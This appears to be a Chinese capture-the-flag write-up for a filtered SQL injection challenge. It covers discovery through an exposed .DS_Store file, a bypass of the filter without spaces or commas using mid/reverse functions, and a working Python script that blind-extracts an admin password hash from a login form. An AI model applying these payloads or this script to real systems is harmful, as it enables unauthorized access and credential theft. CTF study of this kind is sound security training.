sql注入2
题目描述
全都tm过滤了绝望吗?提示 !,!=,=,+,-,^,%
解题过程
非预期解
-
先用御剑扫一发
发现了
.DS_Store
文件,这是个mac里的文件夹属性文件 -
下载 打开
可以看到目录下的一些文件/文件夹,里面有flag
-
直接访问
/flag
获取到flag = =
正经的做一遍
-
因为之前测过,知道
admin
账号是存在的,用admin
+ 任意密码登录,burp抓包然后随手输入了
admin / asd
,结果登进去了!!!可以看到的返回包直接跳转到了admin页面。。。(登陆成功302)然后
ls
,得到flag,我清掉cookie又去试了好多次,都不行,很奇怪
真·正经地做一遍
-
分析
题目给了提示,只有那么几个符号可以用,测试了一下空格和逗号也用不了,和前几天t-star的sql题有点像,推测是同表注入
-
测注入点
可以看到,内容为真的时候,返回为
username error
,内容为假的时候,返回为password error
-
测字段 + 字段长度
最后测出字段名为
passwd
长度为32
(猜测是md5)payload:
admin'^(length(passwd)>0)^'
-
爆数据
不使用空格和逗号的注入,构造payload:
(ascii(mid((reverse(mid((passwd)from(%d))))from(-1))))=%d
原理:
# 假设 passwd = asdfghj mid((passwd)from(1)) # 从第1位开始截取 asdfghj reverse(mid((passwd)from(1))) # 逆序 jhgfdsa mid((reverse(mid((passwd)from(1))))from(-1)) # 取最后一位 a
写个脚本跑一下:
import requests url = 'http://123.206.87.240:8007/web2/login.php' length = 32 flag = '' for i in range(1, length + 1): print('[*] No.%d' % i, end='') for x in '1234567890abcdef': # md5使用16进制 s = requests.post(url=url, data={ 'uname': "admin'^(ascii(mid((reverse(mid((passwd)from(%d))))from(-1)))=%d)^'" % (i, ord(x)), 'passwd': "asd" }) if 'username error' in s.text: flag += x print(' success') break print(flag)
跑出来之后去somd5解密,密码是admin123,然后 登录 -> ls -> 拿到flag